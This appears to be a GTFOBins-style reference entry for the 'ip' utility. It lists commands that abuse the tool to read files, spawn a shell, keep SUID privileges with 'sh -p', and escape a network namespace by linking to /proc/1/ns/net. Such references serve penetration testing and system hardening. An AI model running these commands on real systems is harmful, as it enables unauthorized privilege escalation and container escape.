ip

File Read

The read file content is corrupted by error prints.

ip -force -batch /path/to/input-file

Shell

ip netns add foo
ip netns exec foo /bin/sh
ip netns delete foo

SUID override:

ip netns add foo
ip netns exec foo /bin/sh -p
ip netns delete foo

ip netns add foo
ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
ip netns exec bar /bin/sh
ip netns delete foo
ip netns delete bar